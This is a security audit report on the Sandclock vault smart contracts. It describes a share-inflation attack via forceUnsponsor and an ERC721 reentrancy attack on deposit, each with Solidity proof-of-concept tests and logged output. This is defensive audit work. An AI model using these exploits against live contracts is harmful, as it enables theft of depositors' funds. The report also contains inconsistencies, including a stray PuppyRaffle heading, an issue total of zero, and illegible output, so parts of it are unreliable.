



# **Sandclock Audit Report**

Version 1.0

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# Sandclock Audit Report

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## **PuppyRaffle Audit Report**

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## Disclaimer

The Ez Flow team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
1 5b263166ada0837a2c773aa15a892022d65e324a
```

## Scope

The scope includes all the contracts, and any relevant interfaces, in the [sandclock](#) directory of this repo. This is a hardhat project with the relevant contracts included, as well as their test suite.

Contracts and interfaces meant for test purposes only can be safely ignored

Here's a list of the included contracts:

Name	LOC	External Contracts Called	Libraries
Vault	557	5	4
SandclockFactory	58	0	0
BaseStrategy	303	5	2
NonUSTStrategy	137	6	1
USTStrategy	37	0	0
vault/Claimers	122	1	1
vault/Depositors	68	1	1
lib/PercentMath	63	0	0
lib/ERC165Query	55	1	0

## Protocol Summary

### Share allocation / yield distribution

The focus of the vault logic is to allow accounts to deposit an underlying currency, which will generate yield through an arbitrary strategy. That yield can be assigned to different beneficiaries, according to an allocation defined at the moment of deposit. Ensure that all the calculations around shares and underlying value are correct, and that no possibility for loss of funds, hijacking of funds from other depositors is possible.

### EthAnchor Strategies

Each vault will invest underlying tokens via a strategy, either UST or Non-UST, depending on which underlying currency is used. The strategy will convert that underlying to UST (in case of Non-UST strategies) and invest it through [EthAnchor][ethanchor]. Communication between the vault and

strategy must ensure that only the desired percentage of funds is invested, that all funds are correctly accounted for, and that no loss of funds occur.

The interaction can be controlled by trusted accounts (defined with the [Trust](#) contract). This will allow our backend to adjust investment percentages, and withdraw funds from the strategy if necessary.

### Positions as NFTs

Both deposits and claims are represented as NFTs. One particularity about this is that once you own a claim NFT, you cannot receive another one via an NFT transfer (since a single NFT represents your entire claim across the whole vault, and the vault would be confused if you owned more than 1). Transferring NFTs to accounts that don't have any should still be allowed (e.g.: to migrate to a new wallet)

### Deploy Factory

The custom factory allows deploying contracts with a deterministic address ([CREATE2](#)) and publish events, which can then be picked up by a subgraph to dynamically track new vaults. Ensure each newly created vault is deployed correctly and permissions set as expected.

## Executive Summary

### Issues found

Severity	Number of issues found
High	2
Medium	0
Low	0
Info	0
Gas Optimizations	0
TOTAL	0

## Findings

### High

#### [H-1] `Vault::forceUnsponsor()` allows attacker to manipulate `Vault::totalUnderlying()` and create more shares than intended

**Description:** On `Vault::forceUnsponsor()` if `sponsorAmount > totalUnderlying()` than the contract will transfer `totalUnderlying()` amount to the sponsor. Simultaneously, if the sponsor's sponsored amount is larger than the depositors it will set the `Vault::totalUnderlying()` to 0.

**Impact:** This issue leave the contract open for shares manipulation allowing a malicious user to print more shares than intended.

**Proof of Concept:** Add the following to the `VaultTest.t.sol` test suite.

Code

```
1     function testInflationAttk() external {
2         // User setup
3         IVault.ClaimParams[] memory claims = new IVault.ClaimParams
4             [](1);
5         IVault.ClaimParams memory claim = IVault.ClaimParams({pct: 100
6             _00, beneficiary: depositor, data: "Depositor"});
7         claims[0] = claim;
8
9         vm.startPrank(depositor);
10        ERC20(weth).approve(address(vault), DEPOSIT_AMOUNT);
11        // Depositor deposit 1 WETH in vault
12        vault.deposit(IVault.DepositParams({amount: DEPOSIT_AMOUNT,
13            claims: claims, lockedUntil: 0}));
14        console.log();
15        console.log("Total shares after user's deposit:", vault.
16            totalShares());
17        console.log("Total underlying without sponsors after users's
18            deposit:", vault.totalUnderlyingMinusSponsored());
19        console.log("Total underlying after users's deposit:", vault.
20            totalUnderlying());
21        vm.stopPrank();
22
23        // Attacker setup
24        address attacker = makeAddr("attk");
25        ERC20Mock(weth).mint(attacker, STARTING_BALANCE);
26
27        vm.startPrank(attacker);
28        ERC20(weth).approve(address(vault), STARTING_BALANCE);
29        // Attk sponsor 1 WETH
```

```
24     vault.sponsor(DEPOSIT_AMOUNT, 0);
25
26     console.log();
27     console.log("Total underlying after attacker's sponsor:", vault
        .totalUnderlying());
28     // Vault lose 50% of total underlying amount (Bad investment)
29     vault.mockLosingStrategy();
30     console.log("Total shares after vault bad investment:", vault.
        totalShares());
31     console.log("Total underlying without sponsors after vault bad
        investment:", vault.totalUnderlyingMinusSponsored());
32     console.log("Total underlying after vault bad investment:",
        vault.totalUnderlying());
33     vm.warp(block.timestamp + vault.MIN_SPONSOR_LOCK_DURATION() +
        1); // Must wait for unlock period
34     vm.roll(block.number + 1);
35     // Attacker strikes :
36     // Attk unsponsor vault at a loss (which results attacker
        withdrawing all the underlying assets)
37     uint256[] memory depositIds = new uint256[](1);
38     depositIds[0] = 1;
39     vault.forceUnsponsor(attacker, depositIds);
40     console.log("Total underlying after attacker's unsponsor:",
        vault.totalUnderlying());
41     // Attk sends 1 wei to vault
42     ERC20(weth).transfer(address(vault), 1);
43     console.log();
44     console.log("Total shares after attacker's transfer:", vault.
        totalShares());
45     console.log(
46         "Total underlying without sponsors after attacker's
            transfer:", vault.totalUnderlyingMinusSponsored()
47     );
48     console.log("Total underlying after attacker's transfer:",
        vault.totalUnderlying());
49
50     // Attk deposit 0.1 WETH
51     claim = IVault.ClaimParams({pct: 100_00, beneficiary: attacker,
        data: "Attacker"});
52     claims[0] = claim;
53     vault.deposit(IVault.DepositParams({amount: 1e17, claims:
        claims, lockedUntil: 0}));
54     console.log();
55     console.log("Total shares after attacker's deposit:", vault.
        totalShares());
56     console.log(
57         "Total underlying without sponsors after attacker's deposit
            :", vault.totalUnderlyingMinusSponsored()
58     );
59     console.log("Total underlying after attacker's deposit:", vault
        .totalUnderlying());
```

```

60     vm.stopPrank();
61
62     Claimers claimers = vault.claimers();
63     uint256 tokenId = claimers.addressToTokenID(depositor);
64     uint256 depositorsShares = claimers.sharesOf(tokenId);
65     uint256 depositorsPrincipal = claimers.principalOf(tokenId);
66     console.log();
67     console.log("shares of depositor:", depositorsShares);
68     console.log("principal of depositor:", depositorsPrincipal);
69     tokenId = claimers.addressToTokenID(attacker);
70     uint256 attackersShares = claimers.sharesOf(tokenId);
71     uint256 attackersPrincipal = claimers.principalOf(tokenId);
72     console.log();
73     console.log("shares of attacker:", attackersShares);
74     console.log("principal of attacker:", attackersPrincipal);
75
76     // The depositor should have 10 times more shares than the
77     // attacker since the depositor deposited 10 times more than
78     // the attacker (invariant)
79     // However that is not the case since the attacker messed with
80     // the underlying amount (bringing it to 0)
81     // while maintaining the same amount of shares (sponsor do not
82     // have any shares since this role doesn't mint a claimer's NFT
83     // on sponsor).
84     // This result in breaking the invariant and allows the
85     // attacker to get more claims and withdraw more underlying
86     // asset than he put in.
87     assert(depositorsPrincipal > attackersPrincipal);
88     assert(depositorsShares < attackersShares);
89 }

```

output:

[illegible]



[illegible]

**Recommended Mitigation:** Consider keeping a minimum underlying amount that can't be withdrawn by anyone. Something like 1 [ether](#). That way it will make it extremely expensive for a malicious user to perform this attack.

## [H-2] Vault::deposit() leave open for ERC721 reentrancy attack

**Description:**

`Vault::deposit()` mints claimers' and depositors' NFT before transferring the amount the user wants to deposit in storage. Since `Depositors::mint()` calls `ERC721::_safeMint()` and expects a callback a malicious user can use this to call `Vault::deposit()` once again before the execution is done.

**Impact:** This issue allows user to mint shares for cheaper than intended and he could end up with an absurd amount of shares for a fraction of the cost.

**Proof of Concept:** Add the following to the `VaultTest.t.sol` test suite.

Code

```
1      contract ReentrancyVaultAttck {
2          uint256 immutable i_nbrOfAttacks;
3          uint256 immutable i_depositAmountByAttack;
4
5          IVault vaultVictim;
6          uint256 attackCounter = 0;
7
8          constructor(address _vaultVictim, uint256 _nbrOfAttacks,
9              uint256 _depositAmountByAttack) {
10              vaultVictim = IVault(_vaultVictim);
11              i_nbrOfAttacks = _nbrOfAttacks;
12              i_depositAmountByAttack = _depositAmountByAttack;
13          }
14
15          function onERC721Received(address _sender, address _from,
16              uint256 _tokenId, bytes memory _data)
17              external
18              returns (bytes4)
19          {
20              if (attackCounter >= i_nbrOfAttacks) {
21                  return IERC721Receiver.onERC721Received.selector;
22              }
23
24              attackCounter++;
25              IVault.ClaimParams[] memory claims = new IVault.ClaimParams
26                  [(1)];
27              IVault.ClaimParams memory claim =
28                  IVault.ClaimParams({pct: 100_00, beneficiary: address(
29                      this), data: "I exploited your CONTRACT"});
30              claims[0] = claim;
31              vaultVictim.deposit(IVault.DepositParams({amount:
32                  i_depositAmountByAttack, claims: claims, lockedUntil:
33                  0}));
34
35              return IERC721Receiver.onERC721Received.selector;
36          }
37
38          function launchAttack() external {
39              attackCounter++;
40              IVault.ClaimParams[] memory claims = new IVault.ClaimParams
41                  [(1)];
42              IVault.ClaimParams memory claim =
43                  IVault.ClaimParams({pct: 100_00, beneficiary: address(
44                      this), data: "Intended deposit call"});
45              claims[0] = claim;
46              vaultVictim.deposit(IVault.DepositParams({amount:
47                  i_depositAmountByAttack, claims: claims, lockedUntil:
```

```

    0}));
39     }
40
41     function withdrawFunds(uint256[] memory tokenIds) external {
42         vaultVictim.forceWithdraw(msg.sender, tokenIds);
43     }
44 }
45 .
46 .
47 .
48 function testReentrancyAttk() external {
49     // Test settings
50     uint256 nbrOfDeposit = 10;
51     uint256 depositAmount = (STARTING_BALANCE / nbrOfDeposit);
52     console.log();
53     console.log("Number of deposits (same amount for depositor and
54                 attacker):", nbrOfDeposit);
55     console.log("Amount deposited by loop:", depositAmount);
56
57     // User setup
58     IVault.ClaimParams[] memory claims = new IVault.ClaimParams
59         [](1);
60     IVault.ClaimParams memory claim = IVault.ClaimParams({pct: 100
61         _00, beneficiary: depositor, data: "Depositor"});
62     claims[0] = claim;
63     console.log();
64     console.log("Depositor's address:", depositor);
65     vm.startPrank(depositor);
66     ERC20(weth).approve(address(vault), STARTING_BALANCE);
67     // Depositor deposit 1 WETH in vault
68     for (uint256 i = 0; i < nbrOfDeposit; ++i) {
69         vault.deposit(IVault.DepositParams({amount: depositAmount,
70             claims: claims, lockedUntil: 0}));
71     }
72     vm.stopPrank();
73
74     console.log();
75     console.log("Total shares after user's deposit:", vault.
76         totalShares());
77     console.log("Total underlying without sponsors after users's
78         deposit:", vault.totalUnderlyingMinusSponsored());
79     console.log("Total underlying after users's deposit:", vault.
80         totalUnderlying());
81
82     // Attacker setup
83     ReentrancyVaultAttk attacker = new ReentrancyVaultAttk(
84         address(vault), nbrOfDeposit, depositAmount);
85     ERC20Mock(weth).mint(address(attacker), STARTING_BALANCE);
86
87     // Attacker strikes :
88     vm.startPrank(address(attacker));
```

```

81     ERC20(weth).approve(address(vault), STARTING_BALANCE);
82     console.log();
83     console.log("Attacker's address:", depositor);
84     attacker.launchAttack();
85     vm.stopPrank();
86
87     console.log();
88     console.log("Total shares after attack:", vault.totalShares());
89     console.log("Total underlying without sponsors after attack:",
90         vault.totalUnderlyingMinusSponsored());
91     console.log("Total underlying after attack:", vault.
92         totalUnderlying());
93
94     Claimers claimers = vault.claimers();
95     uint256 tokenId = claimers.addressToTokenID(depositor);
96     uint256 depositorsShares = claimers.sharesOf(tokenId);
97     uint256 depositorsPrincipal = claimers.principalOf(tokenId);
98     console.log();
99     console.log("shares of depositor:", depositorsShares);
100    console.log("principal of depositor:", depositorsPrincipal);
101    console.log("weth of depositor:", ERC20Mock(weth).balanceOf(
102        depositor));
103    tokenId = claimers.addressToTokenID(address(attacker));
104    uint256 attackersShares = claimers.sharesOf(tokenId);
105    uint256 attackersPrincipal = claimers.principalOf(tokenId);
106    console.log();
107    console.log("shares of attacker:", attackersShares);
108    console.log("principal of attacker:", attackersPrincipal);
109    console.log("weth of attacker:", ERC20Mock(weth).balanceOf(
110        address(attacker)));
111
112    // The attacker keeps printing more shares than intended
113    // because the Vault::totalUnderlying() is never updated
114    // because of reentrancy attack on deposit.mint().
115    // The ERC20::_safeMint() awaits for a callback, an attacker
116    // can trick it and call deposit again. This will allow an
117    // attacker to print more shares.
118    assert(depositorsPrincipal == attackersPrincipal);
119    assert(depositorsShares < attackersShares);
120 }

```

output:

```

1  Number of deposits (same amount for depositor and attacker): 10
2  Amount deposited by loop: 1000000000000000000
3
4  Depositor's address: 0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C
5  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
6  1000000000000000000
7  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares: 0
8  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:

```

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33	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	deposit amount:
	10000000000000000000	
34	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalShares:
	7000000000000000000000000000000000000000	
35	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalUnderlying:
	7000000000000000000000000000000000000000	
36	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	new shares:
	100	
37	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	deposit amount:
	100	
38	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalShares:
	800	
39	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalUnderlying:
	800	
40	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	new shares:
	100	
41	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	deposit amount:
	100	
42	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalShares:
	900	
43	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	current TotalUnderlying:
	900	
44	0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	new shares:
	100	
45		
46	Total shares after user's deposit:	
	1000	
47	Total underlying without sponsors after users's deposit:	
	1000	
48	Total underlying after users's deposit:	1000
49		
50	Attacker's address: 0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C	
51	0x2e234DAe75C793f67A35089C9d99245E1C58470b	deposit amount:
	1000	
52	0x2e234DAe75C793f67A35089C9d99245E1C58470b	current TotalShares:
	1000	
53	0x2e234DAe75C793f67A35089C9d99245E1C58470b	current TotalUnderlying:
	1000	
54	0x2e234DAe75C793f67A35089C9d99245E1C58470b	new shares:
	1000	
55	0x2e234DAe75C793f67A35089C9d99245E1C58470b	deposit amount:
	1000	
56	0x2e234DAe75C793f67A35089C9d99245E1C58470b	current TotalShares:
	1100	
57	0x2e234DAe75C793f67A35089C9d99245E1C58470b	current TotalUnderlying:
	1000	
58	0x2e234DAe75C793f67A35089C9d99245E1C58470b	new shares:
	1100	
59	0x2e234DAe75C793f67A35089C9d99245E1C58470b	deposit amount:
	1000	
60	0x2e234DAe75C793f67A35089C9d99245E1C58470b	current TotalShares:

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```
86 0x2e234DAe75C793f67A35089C9d99245E1C58470b new shares:
    2143588810000000000000000000000000000000000000000000000000000000
87 0x2e234DAe75C793f67A35089C9d99245E1C58470b deposit amount:
    1000000000000000000000000000000000000000000000000000000000000000
88 0x2e234DAe75C793f67A35089C9d99245E1C58470b current TotalShares:
    2357947691000000000000000000000000000000000000000000000000000000
89 0x2e234DAe75C793f67A35089C9d99245E1C58470b current TotalUnderlying:
    1000000000000000000000000000000000000000000000000000000000000000
90 0x2e234DAe75C793f67A35089C9d99245E1C58470b new shares:
    2357947691000000000000000000000000000000000000000000000000000000
91
92 Total shares after attack: 2593742460100000000000000000000000000000000000000000000000000000
93 Total underlying without sponsors after attack: 2000000000000000000000000000000000000000000000000000000000000000
94 Total underlying after attack: 2000000000000000000000000000000000000000000000000000000000000000
95
96 shares of depositor: 1000000000000000000000000000000000000000000000000000000000000000
97 principal of depositor: 1000000000000000000000000000000000000000000000000000000000000000
98 weth of depositor: 0
99
100 shares of attacker: 1593742460100000000000000000000000000000000000000000000000000000
101 principal of attacker: 1000000000000000000000000000000000000000000000000000000000000000
102 weth of attacker: 0
```

**Recommended Mitigation:** Consider adding the Openzeppelin ReentrancyGuard modifier to `Vault::deposit()`.